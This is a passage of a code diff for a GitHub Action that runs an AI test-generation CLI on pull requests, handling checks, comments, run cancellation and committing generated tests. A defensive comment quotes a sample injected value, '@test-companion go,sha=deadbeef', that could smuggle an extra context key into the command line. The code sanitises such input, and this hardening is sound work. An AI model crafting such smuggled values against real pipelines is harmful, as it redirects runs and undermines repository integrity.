saving = shouldPushWork({ + preview: plan.preview, + // From whichever source THIS trigger actually has. A comment names an + // issue, so `pull` was fetched to resolve a head sha; a pull_request + // event carries the head on its own payload and nothing is fetched. + // Reading only `pull` refused every pull_request-triggered push + // (run 40857884973, on a branch in this very repository). + sameRepo: isSameRepo(prForTicket?.head?.repo?.full_name, REPO), + branch: plan.context.branch, + headAuthorEmail: git(["log", "-1", "--format=%ae"]).out, + // The tree is put on the pull request's commit much earlier, where the + // comment's issue number is resolved to a head sha. That fetch is + // ADVISORY — it warns and carries on, so the proposal still gets built + // from the diff — which makes this the check that the advisory step + // actually worked. Pushing from a tree that is not the reviewed commit + // would send the default branch's content to the pull request's branch. + onWantedCommit: !needsCheckout({ headSha: git(["rev-parse", "HEAD"]).out, wantSha: plan.context.sha }), + defaultBranch: defaultBranchName(), + }) + if (plan.context.branch && !plan.preview && !saving.ok) { + notice(`Nothing will be saved to ${plan.context.branch}: ${saving.why}.`) + } + + // FR-35: the handle a later `stop` needs. Posted BEFORE the run, because a + // check written at the end cannot help cancel the run that is writing it — + // which is why `stop` found nothing to stop until now. It also makes FR-48's + // "the check shows while it runs" true for every run rather than only a + // proposal. + const checkSubject = checkSha(plan.context, {}, env.GITHUB_SHA) + if (checkSubject) { + postCheck( + "Running", + { workflow: plan.workflow, outcome: "Running", summary: {}, runUrl: RUN_URL }, + checkSubject, + [], + "in_progress", + plan.preview ? "Planning" : "Running", + ) + } + + notice(`tc ${args.join(" ")}`) + // Both files are written by `tc` itself, and the result file only when the + // run generates cases. Remove any stale copy first so a run that produces + // nothing cannot report an earlier run's work as its own. + for (const f of [SUMMARY_FILE, RESULT_FILE]) { + try { + rmSync(f, { force: true }) + } catch { + // A temp file we cannot remove is not worth failing the run over; the + // sha check on the summary is the backstop. + } + } + // The GitHub token belongs to the Action's own reporting, never to the agent. + // The run executes shell commands the model chooses; anything in this + // environment is readable by them. Stripped rather than trusted, because the + // product only scrubs these on BrowserStack-hosted runs, not a customer's + // own machine (FR-3). + const run = spawnSync("tc", args, { stdio: "inherit", encoding: "utf8", env: childEnvFor(env) }) + const exitCode = run.status ?? 1 + + // The report is absent whenever the process was killed, so treat it as a + // real case rather than assuming it is there. + let summaryText + try { + summaryText = readFileSync(SUMMARY_FILE, "utf8") + } catch { + summaryText = undefined + } + const summary = parseSummary(summaryText) + // Read separately from parseSummary, which builds an object: repeated + // `failed_test:` keys would collapse to the last one. + const failedTests = parseFailedTests(summaryText) + const outcome = resolveOutcome(exitCode, summary) + + // Nothing was bound to this event. Finish the way every other "nothing to + // do" finishes — no check, no comment, green step — rather than reporting a + // run that never happened. The starter subscribes to every trigger, so for + // most repositories most events land here. + if (outcome === OUTCOMES.SKIPPED) { + finishSkipped("no-binding", summary.event) + } + // Absent whenever the run generated nothing, which is most workflows. Its + // presence is what tells the report there is something to point a reader at. + const hasResult = existsSync(RESULT_FILE) + + // FR-42: a configured write that could not happen is said out loud, naming + // what is missing — a silent skip reads as "there was nothing to write". + const warnings = [] + const testsRepo = bindingsDoc?.settings?.tests_repo + if (testsRepo) { + const probe = gh(["api", `repos/${testsRepo}`]) + const access = describeTestRepoAccess({ testsRepo, thisRepo: REPO, canPush: probe?.permissions?.push }) + if (!access.ok) warnings.push(access.message) + } + + // FR-45: silent unless the settings asked for them. + const extraChecks = renderExtraChecks(summary, { + wcag: bindingsDoc?.settings?.wcag, + visual: bindingsDoc?.settings?.visual, + }) + + // FR-43: the approved work must outlive the runner. Until this existed + // nothing carried it off the machine — the CLI opens a pull request only + // for `automate` and `fix`, so an approved `test-pr` run wrote eight + // passing tests and lost all eight. + const workNote = saveWork(saving, plan) + + const view = { + workflow: plan.workflow ?? summary.workflow, + workNote, + extraChecks, + warnings, + outcome, + summary, + runUrl: RUN_URL, + // FR-2: two runs a week apart on the same pinned version must report the + // same CLI version, which means showing it. + cliVersion: summary.cli_version || env.TC_ACTION_CLI_VERSION, + resultArtifact: hasResult ? RESULT_ARTIFACT : undefined, + failedTests, + } + // FR-43: a held request posts what it WOULD do and ends. The run that + // produced this was a preview run, so nothing has been written. + if (proposing) { + const sha = checkSha(plan.context, summary, env.GITHUB_SHA) + addToJobSummary(renderJobSummary(view)) + // FR-44: say when the change is too big to test in one go, so the + // reviewer can narrow the list before approving rather than after. + const size = describeChangeSize(pull) + const sizeNote = size.large + ? `> **This is a large change** — ${size.files} files and ${size.lines} changed lines. Trim the list below before replying go if you only want part of it covered.\n\n` + : "" + // The plan itself, which the run writes to the result file. Without it + // the proposal is a report header and nothing to review. + let planBody = "" + try { + planBody = readFileSync(RESULT_FILE, "utf8") + } catch { + // No result file means the run produced no plan; renderProposalBody + // says so rather than rendering an empty proposal. + } + replyOnPr( + plan.context.pr, + renderProposal( + renderProposalBody({ summary: renderJobSummary(view), plan: planBody, sizeNote }), + sha, + plan.commenter, + // FR-43: record WHICH job this proposal is for, so approving it + // cannot run a different one. + plan.workflow ?? summary.workflow, + ), + ) + // FR-44: the check shows in progress while the proposal waits. + postCheck(outcome, view, sha, [], "in_progress") + setOutput("outcome", "Proposed") + setOutput("should-fail", "false") + process.exit(0) + } + + addToJobSummary(renderJobSummary(view)) + if (summaryText) setOutput("summary-file", SUMMARY_FILE) + if (hasResult) setOutput("result-file", RESULT_FILE) + setOutput("outcome", outcome) + setOutput("should-fail", String(stepShouldFail(env.TC_ACTION_BUILD_EFFECT, outcome))) + + // FR-28: each failing test on the line it is declared on, so a reviewer sees + // it in the files-changed view instead of having to open the run's logs. + // Empty whenever the reporter printed no locator, which is every mocha run — + // those failures are named in the report instead. + const annotations = buildAnnotations(failedTests) + // FR-45: accessibility may turn the check red, but ONLY when the settings + // say so and only for violations this change introduced. The step's own + // result is untouched — that follows the build effect (FR-9). + const checkOutcome = + outcome === OUTCOMES.SUCCEEDED && + accessibilityFailsCheck(summary, { + wcag: bindingsDoc?.settings?.wcag, + failOnNew: bindingsDoc?.settings?.fail_on_new, + }) + ? OUTCOMES.TESTS_FAILED + : outcome + postCheck(checkOutcome, view, checkSha(plan.context, summary, env.GITHUB_SHA), annotations) + if (plan.context.pr) postComment(plan.context.pr, { ...view, approvalNote }) + + // Always exit 0. Whether the build goes red is the build effect's call, and + // a separate step applies it — otherwise the report never gets attached. + process.exit(0) +} + +/** + * Commit what the run wrote, onto the pull request's own branch — FR-42's + * "tests go in the pull request's own repository" applied to the run that + * produced them. + * + * A commit on the branch rather than a second pull request: someone who asked + * for tests on their change wants them on their change, not in a review queue + * behind it. + * + * Returns the line for the comment, or undefined when there was nothing to + * save. Never throws and never fails the run — the report is the product here, + * and a failed push that takes the whole run down loses the report too. + */ +function saveWork(saving, plan) { + if (!saving.ok) return undefined + // `-c core.quotePath=false` stops git octal-escaping non-ASCII bytes, so a + // path like café.spec.ts arrives as itself. unquote() decodes the escapes + // anyway, but not producing them is the better half of the fix. + const status = git(["-c", "core.quotePath=false", "status", "--porcelain"]) + if (!status.ok) return undefined + const { push, skip } = splitPushable(changedPaths(status.raw)) + if (push.length === 0) return undefined + + const branch = plan.context.branch + // Named paths, never `git add -A`: the agent ran shell commands of its own + // choosing and the tree may hold anything. Adding only what we listed is + // also what makes the comment's file list true by construction. + const added = git(["add", "--", ...push]) + if (!added.ok) return renderPushNote({ branch, files: push, skipped: skip, error: added.err || "git add failed" }) + + const subject = `test: ${plan.workflow ?? "Test Companion"} on ${String(plan.context.sha ?? "").slice(0, 7)}` + const body = [ + subject, + "", + `Written by Test Companion for ${plan.context.pr ? `#${plan.context.pr}` : plan.context.sha}.`, + `Run: ${RUN_URL}`, + ].join("\n") + const committed = git(["commit", "-m", body]) + if (!committed.ok) { + return renderPushNote({ + branch, + files: push, + skipped: skip, + error: committed.err || committed.out || "nothing to commit", + }) + } + + // Authenticate as the App when it is installed. Without this the push + // uses whatever actions/checkout left in .git/config, so a team that + // deleted the permissions block as we advise got a 403. + const pushed = git([...pushCredentialArgs(env.GH_TOKEN), "push", "origin", `HEAD:refs/heads/${branch}`]) + if (!pushed.ok) { + // The one failure worth spelling out, because it is a settings problem + // rather than a bug: the workflow's token is read-only by default. + const hint = /403|permission|denied|protected/i.test(pushed.err) + ? `${pushed.err} — the job needs \`permissions: contents: write\`, and the branch must not be protected against it.` + : pushed.err || "git push failed" + return renderPushNote({ branch, files: push, skipped: skip, error: hint }) + } + return renderPushNote({ branch, sha: git(["rev-parse", "HEAD"]).out, files: push, skipped: skip }) +} + +/** FR-48: one check, never neutral. FR-28: each failing test on its own line. */ +function postCheck(outcome, view, sha, annotations = [], status = "completed", title = undefined) { + if (!sha) return + const waiting = status === "in_progress" + const payload = { + name: "Test Companion", + head_sha: sha, + status, + // Which run this check belongs to. FR-35's `stop` reads it back: the + // check is posted on the PULL REQUEST's head commit, which is the one + // thing that reliably ties a run to the pull request it is about. + external_id: String(env.GITHUB_RUN_ID ?? ""), + details_url: RUN_URL, + output: { + title: waiting ? (title ?? "Waiting for approval") : outcome, + summary: renderJobSummary(view), + ...(annotations.length ? { annotations } : {}), + }, + } + // A check that is still running must carry no conclusion; GitHub rejects it. + if (!waiting) payload.conclusion = checkConclusion(outcome) + + // Update the check this run already made for this commit, rather than + // adding another. A run posts up to three times — in progress, the result, + // and the catch-all on a crash — so posting every time left two or three + // checks of the same name, and a proposal's in-progress one pending + // forever. FR-48 asks for one. + const { method, path } = checkRequestFor(sha, checksMade) + const res = gh(["api", `repos/${REPO}/${path}`, "--method", method, "--input", "-"], payload) + if (res?.id) checksMade.set(sha, res.id) +} + +/** The check this run has already created, per commit. See checkRequestFor. */ +const checksMade = new Map() + +/** Adopt a check another run created, so we update it instead of adding one. */ +function rememberCheck(sha, id) { + checksMade.set(sha, id) +} + +/** + * End the runs in flight on this commit — FR-35. + * + * The 30-second deadline in FR-35 is why this is a cancel call rather than a + * flag the next run would notice: asking GitHub to cancel is the only thing + * that stops work already underway. + */ +function cancelRunsOn(sha) { + // Our own check runs on this commit, NOT `actions/runs?head_sha=`. A run + // started by an issue_comment carries the DEFAULT BRANCH's sha, so that + // query matched nothing and neither `stop` nor a closed pull request ever + // cancelled anything (verified live, 2026-10-29). + const checks = gh(["api", `repos/${REPO}/commits/${sha}/check-runs?per_page=100`]) + const fromChecks = runIdsFromChecks(checks?.check_runs, { selfRunId: env.GITHUB_RUN_ID }) + // Unioned with the old head_sha query, which is still right for a run whose + // head sha genuinely IS this commit — a pull_request-triggered one — and + // whose check may not have been written yet. Wrong only for comment runs, + // which is exactly the gap the checks above close. + const list = gh(["api", `repos/${REPO}/actions/runs?head_sha=${sha}&per_page=100`]) + const fromRuns = chooseRunsToCancel(list?.workflow_runs, { + selfRunId: env.GITHUB_RUN_ID, + headSha: sha, + workflowName: env.TC_ACTION_SELF_WORKFLOW, + }) + const ids = [...new Set([...fromChecks, ...fromRuns.map(String)])] + let cancelled = 0 + let forbidden = false + for (const id of ids) { + const r = ghRaw(["api", `repos/${REPO}/actions/runs/${id}/cancel`, "--method", "POST"]) + if (r.status === 0) cancelled++ + else if (/403|Resource not accessible/i.test(r.stderr ?? "")) forbidden = true + } + return { found: ids.length, cancelled, forbidden } +} + +/** + * FR-36: a pull request closed without merging stops its run. + * + * Without the permission to cancel, FR-36 says the run finishes and the comment + * says it ran on a closed pull request — so this warns and lets it be, rather + * than failing anything. + */ +function cancelForClosedPr(payload) { + const sha = payload?.pull_request?.head?.sha + if (!sha) return + const { cancelled, forbidden } = cancelRunsOn(sha) + if (cancelled > 0) { + notice(`Test Companion: stopped ${cancelled} run(s) — the pull request was closed without merging.`) + } else if (forbidden) { + warn("Could not stop the run for a closed pull request: this workflow needs `actions: write`.") + } +} + +function stopRuns(plan, who) { + const sha = plan.context?.sha + const pr = plan.context?.pr + const { found, cancelled, forbidden } = cancelRunsOn(sha) + + if (found === 0) { + replyOnPr(pr, "Nothing of mine is running on this commit, so there was nothing to stop.") + return + } + + // FR-35: without the permission, say which one is missing rather than + // reporting a stop that did not happen. + if (cancelled === 0) { + replyOnPr( + pr, + forbidden + ? "I could not stop that run — this workflow needs `actions: write` to cancel a run." + : "I could not stop that run. It may have finished already.", + ) + return + } + replyOnPr(pr, `Stopped by @${who}.`) +} + +/** + * Which test framework the checked-out repository uses — FR-13. + * + * Two levels deep and skipping node_modules and dotted directories: deep + * enough for the common `e2e/playwright.config.ts` layout, shallow enough not + * to walk a monorepo. Every read is best-effort — a repository we cannot scan + * gets the generic starter, which is the honest outcome. + */ +function scanForFramework() { + let deps = {} + try { + const pkg = JSON.parse(readFileSync("package.json", "utf8")) + deps = { ...pkg.dependencies, ...pkg.devDependencies } + } catch { + // No package.json, or unreadable. A config file may still say. + } + + const filenames = [] + const walk = (dir, depth) => { + if (depth > 2) return + let entries = [] + try { + entries = readdirSync(dir, { withFileTypes: true }) + } catch { + return + } + for (const e of entries) { + if (e.name === "node_modules" || e.name.startsWith(".")) continue + const full = dir === "." ? e.name : `${dir}/${e.name}` + if (e.isDirectory()) walk(full, depth + 1) + else filenames.push(full) + } + } + walk(".", 0) + return detectFramework({ filenames, deps }) +} + +/** + * Open the pull request that adds the settings file — FR-13. + * + * A pull request rather than a direct commit, deliberately: the settings decide + * what Test Companion is allowed to do, so they go in the way every other + * change to that does — reviewed. + */ +function openSetupPr(plan, configPath) { + const framework = scanForFramework() + const { branch, title, body } = renderSetupPr(configPath, framework) + const base = settingsRef(readEvent(), env) + const baseSha = gh(["api", `repos/${REPO}/git/ref/heads/${base}`])?.object?.sha + if (!baseSha) { + replyOnPr(plan.context.pr, `I could not read the ${base} branch, so I have not opened anything.`) + return + } + + // An existing branch from an earlier attempt is fine to reuse; the file write + // below is what actually matters. + ghRaw(["api", `repos/${REPO}/git/refs`, "--method", "POST", "--input", "-"], { ref: `refs/heads/${branch}`, sha: baseSha }) + + const put = ghRaw(["api", `repos/${REPO}/contents/${configPath}`, "--method", "PUT", "--input", "-"], { + message: title, + content: Buffer.from(starterPipelineFor(framework), "utf8").toString("base64"), + branch, + }) + if (put.status !== 0) { + replyOnPr( + plan.context.pr, + `I could not write \`${configPath}\` — this workflow may need \`contents: write\`. The run summary has the file to copy by hand.`, + ) + return + } + + const opened = gh(["api", `repos/${REPO}/pulls`, "--method", "POST", "--input", "-"], { title, head: branch, base, body }) + replyOnPr( + plan.context.pr, + opened?.html_url + ? `Opened ${opened.html_url} with the settings file. Nothing runs until it merges.` + : `I pushed the settings to \`${branch}\` but could not open a pull request — this workflow may need \`pull-requests: write\`.`, + ) +} + +/** + * Drop proposals nobody answered — FR-44. + * + * This is what makes FR-44's in-progress check safe to post at all. A proposal + * that is never replied to would otherwise leave that check unresolved for the + * life of the pull request, and anyone who made "Test Companion" a required + * check is then blocked by a check that never arrives — the same failure + * Release 2 avoided by posting the tick at the END of a run. + * + * Runs on the nightly schedule, alongside whatever else is bound to it. + */ +function sweepExpiredProposals() { + const prs = flattenPages(gh(["api", `repos/${REPO}/pulls?state=open&per_page=100`, "--paginate", "--slurp"])) + for (const pr of prs) { + const sha = pr?.head?.sha + if (!sha || !pr?.number) continue + const comments = flattenPages(gh(["api", `repos/${REPO}/issues/${pr.number}/comments`, "--paginate", "--slurp"])) + if (!proposalNeedsDropping(comments, sha)) continue + + // Complete the check the PROPOSAL run left in progress, rather than + // adding a second one beside it. The sweep is a different process with + // an empty memo, so without this lookup the proposal's check stayed + // pending for the life of the branch — the "blocked by a check that + // never arrives" failure this sweep exists to prevent. + const existing = inFlightCheckId(gh(["api", `repos/${REPO}/commits/${sha}/check-runs?per_page=100`])?.check_runs) + if (existing) rememberCheck(sha, existing) + + // "Action required", per FR-44 — checkConclusion already maps Could not run + // to exactly that, and never to neutral, which branch protection reads as a pass. + postCheck(OUTCOMES.COULD_NOT_RUN, { outcome: OUTCOMES.COULD_NOT_RUN, summary: {}, runUrl: RUN_URL }, sha) + replyOnPr( + pr.number, + `That proposal went a day without a reply, so I have dropped it. The check now says Action required — comment again and I will put up a fresh one.\n\n${proposalDroppedMarkerFor(sha)}`, + ) + notice(`Test Companion: dropped a stale proposal on #${pr.number}.`) + } +} + +/** + * What the pipeline file binds to this event, with every value resolved — FR-43. + * + * Asks the CLI rather than parsing the YAML here: one parser, one schema, one + * place for it to drift. Returns undefined when the read fails, which + * decideGate treats as "hold for review" — failing closed. + */ +function readBindings(configFile, event, branch) { + // `--branch` narrows the same way a run does. Without it this returns + // bindings a `when:` clause would exclude, and pickBinding could hand + // decideGate the approval policy of a binding that never runs — reading + // `straight-through` off one while the CLI ran another, which skipped the + // gate in the direction that writes. + const base = ["workflow", "bindings", "--config", configFile, "--event", event] + const ask = (extra) => + spawnSync("tc", [...base, ...extra, "--json"], { + encoding: "utf8", + env: childEnvFor(env), + }) + + let r = branch ? ask(["--branch", branch]) : ask([]) + // An older CLI does not know --branch. Falling back is much better than + // losing the settings block entirely: without it there is no wcag, no + // targets, no tests_repo and no ask_team, and the run quietly behaves as + // though the repository had configured none of them. The cost of the + // fallback is only that bindings are not branch-narrowed, which is exactly + // how it behaved before the flag existed. + if (branch && r.status !== 0 && /unknown flag|unknown shorthand/i.test(r.stderr ?? "")) { + warn("This CLI does not support `workflow bindings --branch`; reading bindings without branch narrowing.") + r = ask([]) + } + if (r.status !== 0) { + warn(`Could not read the pipeline bindings: ${(r.stderr ?? "").trim().split("\n").pop()}`) + return undefined + } + try { + return JSON.parse(r.stdout) + } catch { + return undefined + } +} + +/** The binding a comment is asking for, or the one bound to the event. */ +function pickBinding(doc, workflow) { + const list = (doc?.bindings ?? []).filter((b) => b.enabled) + return workflow ? list.find((b) => b.workflow === workflow) : list[0] +} + +/** + * A plain reply in the thread — FR-33, FR-34. + * + * Deliberately NOT the tracked run comment: it carries no COMMENT_MARKER, so a + * later run neither overwrites a refusal nor adopts one as the place it reports. + */ +function replyOnPr(pr, body) { + if (!pr) return + gh(["api", `repos/${REPO}/issues/${pr}/comments`, "--method", "POST", "--input", "-"], { body }) +} + +/** FR-29: one comment, edited in place. */ +function postComment(pr, view) { + // `--slurp` matters: without it `gh --paginate` prints ONE JSON ARRAY PER + // PAGE, so the output of a pull request with more than 30 comments is + // `[...][...]`, JSON.parse throws, gh() returns null and `existing` becomes + // []. Every run then posted a NEW comment instead of editing its own, which + // is the single-comment guarantee in FR-29 (review finding, PR #3030). + const existing = flattenPages(gh(["api", `repos/${REPO}/issues/${pr}/comments`, "--paginate", "--slurp"])) + const choice = chooseCommentAction(existing) + const body = { body: renderComment(view) } + if (choice.action === "update") { + gh(["api", `repos/${REPO}/issues/comments/${choice.id}`, "--method", "PATCH", "--input", "-"], body) + } else { + gh(["api", `repos/${REPO}/issues/${pr}/comments`, "--method", "POST", "--input", "-"], body) + } +} + +// Spec section "The package itself crashes after the job finishes": the +// customer gets no tick and no comment, which is WORSE than a red tick — +// anyone who made the check required is blocked by a check that never arrives, +// with nothing on the pull request saying why. +// +// finishSkipped and the normal path both exit(0) from inside main, so reaching +// the catch at all means something unexpected threw. Report it as "Could not +// run", which is precisely what happened, and still exit 0 so the build-effect +// step is what decides whether the build goes red. +try { + main() +} catch (e) { + const message = e?.stack || String(e) + const fence = "```" + notice(`Test Companion could not complete: ${message}`) + addToJobSummary( + `## Test Companion \u2014 ${OUTCOMES.COULD_NOT_RUN}\n\nThe action itself failed before it could report.\n\n${fence}\n${message}\n${fence}`, + ) + setOutput("outcome", OUTCOMES.COULD_NOT_RUN) + setOutput("should-fail", String(stepShouldFail(env.TC_ACTION_BUILD_EFFECT, OUTCOMES.COULD_NOT_RUN))) + try { + postCheck(OUTCOMES.COULD_NOT_RUN, { outcome: OUTCOMES.COULD_NOT_RUN, summary: {}, runUrl: RUN_URL }, env.GITHUB_SHA) + } catch { + // Nothing left to try. The job summary above is still written. + } + process.exit(0) +} diff --git a/test-companion/src/outcome.mjs b/test-companion/src/outcome.mjs new file mode 100644 index 0000000..d4a02ab --- /dev/null +++ b/test-companion/src/outcome.mjs @@ -0,0 +1,148 @@ +/** + * What happened, in the five words the PRD specifies — STM-3663 FR-30, FR-48, FR-9. + * + * The CLI already distinguishes these cases, but across two channels: an exit + * code (a stable contract — scripts branch on it) and a report file. Neither is + * sufficient alone. Exit 4 covers a crash, a time ceiling AND a version-pin + * mismatch, so only the report tells a ceiling from a crash; and a report can be + * absent entirely if the process was killed. + * + * Three separate questions come out of that, and conflating them was the bug in + * the first place: + * - what happened → resolveOutcome (the five labels) + * - what the check says → checkConclusion (FR-48, never neutral) + * - whether the step is red → stepShouldFail (FR-9, the repo's own choice) + * + * The check always reports truthfully. The build effect only governs the step. + */ + +/** The five outcomes, spelled exactly as FR-30 requires. */ +export const OUTCOMES = Object.freeze({ + SUCCEEDED: "Succeeded", + TESTS_FAILED: "Tests failed", + RUN_BROKE: "Run broke", + STOPPED_AT_LIMIT: "Stopped at limit", + COULD_NOT_RUN: "Could not run", + // Not one of FR-30's five. Those describe a run that HAPPENED; this says + // none did, which the Action already reports for a draft PR, a fork, an + // unaddressed comment and a repository with no pipeline file. An event + // nothing is bound to belongs with those, not with the five. + SKIPPED: "Skipped", +}) + +/** + * Parse the CLI's report: one `key: value` per line. + * + * Splits on the FIRST colon only — a value is routinely a URL, and splitting on + * every colon would truncate every build link. Unknown keys are kept rather than + * dropped, so a newer CLI adding a field does not need a change here. + */ +export function parseSummary(text) { + const out = {} + if (!text) return out + for (const line of String(text).split("\n")) { + const at = line.indexOf(":") + if (at === -1) continue + const key = line.slice(0, at).trim() + if (key) out[key] = line.slice(at + 1).trim() + } + return out +} + +/** + * Which of the five happened. + * + * `summary` is the parsed report, possibly empty — an absent report is a real + * case, not an impossible one: the CLI only writes it when --summary-file was + * passed, and never when the process was killed outright. + */ +export function resolveOutcome(exitCode, summary = {}) { + // The report wins over a success exit code. This is not hypothetical: a run + // with an expired BrowserStack session was observed exiting 0 with status + // "completed" having done nothing at all, which any CI step checking only the + // exit code would have read as green. + // Nothing was bound to this event, so nothing ran. Checked before the + // report-wins rule below, which would otherwise read "not succeeded" as a + // breakage and put a red check on a commit that was never meant to run + // anything (review finding, PR #3030). + if (summary.outcome === "skipped") { + return OUTCOMES.SKIPPED + } + if (exitCode === 0 && summary.outcome && summary.outcome !== "succeeded") { + return summary.outcome === "failed" ? OUTCOMES.TESTS_FAILED : OUTCOMES.RUN_BROKE + } + + switch (exitCode) { + case 0: + return OUTCOMES.SUCCEEDED + // ExitTestFailed: the agent finished cleanly, the tests did not pass. + case 5: + return OUTCOMES.TESTS_FAILED + // ExitTaskFailed covers three causes; only the report separates them. + case 4: + return summary.error_type === "ceiling_exceeded" ? OUTCOMES.STOPPED_AT_LIMIT : OUTCOMES.RUN_BROKE + // ExitUsage: a bad pipeline file or bad flags, so nothing ran. + case 2: + return OUTCOMES.COULD_NOT_RUN + // ExitAuth: not signed in. + case 3: + return OUTCOMES.COULD_NOT_RUN + // ExitTaskBlocked: the turn finished but the task could not be performed — + // plan, entitlement, or a refusal. + case 7: + return OUTCOMES.COULD_NOT_RUN + // ExitUnansweredQuestion: headless promised to answer every ask and did + // not, so the run is broken rather than merely unfinished. + case 6: + return OUTCOMES.RUN_BROKE + default: + // Including exit 1. An unrecognised code is never reported as success. + return OUTCOMES.RUN_BROKE + } +} + +/** + * What the "Test Companion" check says — FR-48. + * + * Never `neutral`: branch protection treats a neutral check as a pass, so a + * neutral conclusion would let a run that could not finish satisfy a required + * check. That is the one thing this must not do. + */ +export function checkConclusion(outcome) { + switch (outcome) { + case OUTCOMES.SUCCEEDED: + return "success" + case OUTCOMES.TESTS_FAILED: + return "failure" + case OUTCOMES.SKIPPED: + // Distinct from "could not finish", which the default below covers: + // nothing was bound to this event, so there was nothing to run and + // nothing to report. Defensive — main.mjs takes the skip path and + // posts no check at all — but if one is ever posted it must not + // demand a person's attention for a commit nobody asked about. + return "success" + default: + // Stopped at limit and Could not run both need a person: a re-run, more + // credits, or a fix. Distinct from a test failure, and still not a pass. + return "action_required" + } +} + +/** + * Whether the Action's own step goes red — FR-9. + * + * Only ever governs the step. The check above reports truthfully regardless, so + * a repo choosing `report` sees a red check and a green build, deliberately. + * + * Anything unrecognised — unset, misspelled, a value from a newer config than + * this Action understands — behaves as `report`. Reddening builds is the one + * direction a misconfiguration must not fail in. + */ +export function stepShouldFail(buildEffect, outcome) { + if (buildEffect !== "fail") return false + // A skipped run is not a bad outcome, it is no outcome. Reddening the step + // for it would fail every push in a repository that binds only pull + // requests — which is most of them. + if (outcome === OUTCOMES.SKIPPED) return false + return outcome !== OUTCOMES.SUCCEEDED +} diff --git a/test-companion/src/plan-run.mjs b/test-companion/src/plan-run.mjs new file mode 100644 index 0000000..e6cf3cf --- /dev/null +++ b/test-companion/src/plan-run.mjs @@ -0,0 +1,359 @@ +/** + * Turn a GitHub event into a `tc workflow run` invocation — STM-3663 FR-14. + * + * This is the Action's main job, and the one place a mistake is expensive: the + * CLI deliberately refuses to look at GITHUB_* variables itself (there is a test + * pinning that, so the same CLI behaves identically on Jenkins), so every piece + * of context it gets comes from here. + * + * Kept pure — payload in, plan out, no I/O — because the only other way to test + * this is to push a commit and wait for a runner, which is a several-minute loop + * per attempt. Everything decidable without a network lives here. + * + * ── The event vocabulary is a public contract ──────────────────────────────── + * `--event` is free text to the CLI; it is matched against whatever the customer + * wrote in their pipeline file's `on:` field. So the names below ARE the API. + * Changing one later silently stops matching every pipeline file that used it — + * no error, the binding just never fires. Add names; do not rename them. + * + * `pr_merged`, `schedule` and `build_failed` already appear in the shipped CLI's + * tests and in the published CI guide, so those three are fixed by precedent. + */ + +/** Every event name a pipeline file may bind to. */ +export const TC_EVENTS = Object.freeze({ + PR_COMMENT: "pr_comment", + PR_OPENED: "pr_opened", + PR_UPDATED: "pr_updated", + PR_MERGED: "pr_merged", + PUSH: "push", + BUILD_FAILED: "build_failed", + SCHEDULE: "schedule", +}) + +/** How a run is addressed in a comment. */ +const MENTION = "@test-companion" + +/** + * The CLI rejects a context value that begins with `-` (CWE-88), and a pull + * request title or comment body is attacker-controlled on a public repo. Catch + * it here so it is refused before it reaches a command line, not after. + */ +const looksLikeAFlag = (v) => typeof v === "string" && v.trimStart().startsWith("-") + +const skip = (reason, detail) => ({ skip: { reason, detail } }) + +/** + * Every context key the CLI actually reads. An allowlist rather than a + * denylist: a key it does not know is silently ignored, so passing one is at + * best noise and at worst a way to smuggle something past review. + */ +const ALLOWED_CONTEXT_KEYS = new Set([ + "sha", + "branch", + "paths", + "build_status", + "pr", + "subject", + "url", + "build", + "description", + "target", + "cases", + "app", + "task", + "instructions", + "actor", + // FR-37: the ticket this change is for, found in the branch, title or body. + "ticket", + // FR-43: the approved plan this run must carry out, written by the Action. + "plan_file", + // FR-44: how large the change is, when it is too big to cover in one go. + "focus", + // FR-43: this run is the gate's planning pass — plan, do not write. + "propose_only", +]) + +/** + * `--context` is a comma-separated `k=v` list, so a value containing `,` or `=` + * can append keys of its own — a comment reading + * "@test-companion go,sha=deadbeef" would otherwise redirect the run at another + * commit. Comments and pull request titles are attacker-controlled on a public + * repo, so the separators are removed rather than escaped: keeping the prose + * readable matters more than keeping its punctuation. + */ +// `,` and `=` are the CLI's own separators. `"` is here because pflag parses a +// multi-pair --context value with encoding/csv, which rejects a bare quote in an +// unquoted field — a PR titled `Fix "Pay now" button` then failed flag parsing +// and the run reported "Could not run". contextArgs below is the real fix; this +// is the belt to its braces. +const stripSeparators = (v) => String(v).replace(/[,="]/g, " ").replace(/\s+/g, " ").trim() + +/** + * Fill a comment-triggered plan in with the pull request's own head commit. + * + * `issue_comment` carries the issue number and nothing about the code: no sha, + * no branch, and `GITHUB_SHA` is the DEFAULT BRANCH tip for that event. So a + * run asked for on PR #42 read main, and its check landed on main's latest + * commit rather than the pull request's (review finding, PR #3030). + * + * Fails CLOSED. A head repository that is missing, or not ours, is treated as a + * fork and skipped — a comment is an untrusted trigger, and the whole point of + * the fork rule is that a stranger's branch never runs with our credentials. + * + * `pr` is the API's pull request object; `repo` is "owner/name" for this + * repository. A plan that already names a commit is returned untouched. + */ +export function withPullRequestHead(plan, pr, repo) { + if (plan?.context?.sha) { + return plan + } + const sha = pr?.head?.sha + const ref = pr?.head?.ref + if (!sha || !ref) { + return { ...plan, skip: "no-pr-head" } + } + const from = pr?.head?.repo?.full_name + if (!repo || !from || from.toLowerCase() !== repo.toLowerCase()) { + return { ...plan, skip: "fork" } + } + return { ...plan, context: { ...plan.context, sha, branch: ref } } +} + +/** + * The --context flags for one plan, ONE FLAG PER PAIR. + * + * Joining pairs into a single `--context a=1,b=2` sends pflag down its CSV + * path, where one double quote anywhere fails the whole flag. A value with + * exactly one `=` takes the single-pair path instead, which never parses CSV. + */ +export function contextArgs(context = {}) { + return Object.entries(context).flatMap(([k, v]) => ["--context", `${k}=${v}`]) +} + +/** Drop empty values rather than passing `k=` through to the CLI. */ +function cleanContext(pairs) { + const out = {} + for (const [k, v] of Object.entries(pairs)) { + if (v === undefined || v === null) continue + if (!ALLOWED_CONTEXT_KEYS.has(k)) continue + const s = stripSeparators(v) + if (s !== "") out[k] = s + } + return out +} + +/** + * Decide what, if anything, this event should run. + * + * Returns either `{skip: {reason}}` — a clean no-op the step reports and passes + * — or `{event?, workflow?, preview?, context}`. A manual run carries NO event, + * which is how the CLI is told to ignore the pipeline bindings (FR-12). + */ +export function planRun({ eventName, payload = {}, inputs = {}, repo, sha, ref } = {}) { + const built = route({ eventName, payload, inputs, repo, sha, ref }) + if (built.skip) return built + + // An explicitly named job wins on any trigger, not only a manual one. + // Explicit beats implicit, and naming a job is how the bindings are + // bypassed — same as a manual run, so the event is dropped with it. + const named = (inputs.workflow ?? "").trim() + if (named && !built.workflow) { + built.workflow = named + built.preview = built.preview || String(inputs.preview ?? "") === "true" + delete built.event + } + + // Clean FIRST, then gate — the order matters and was the wrong 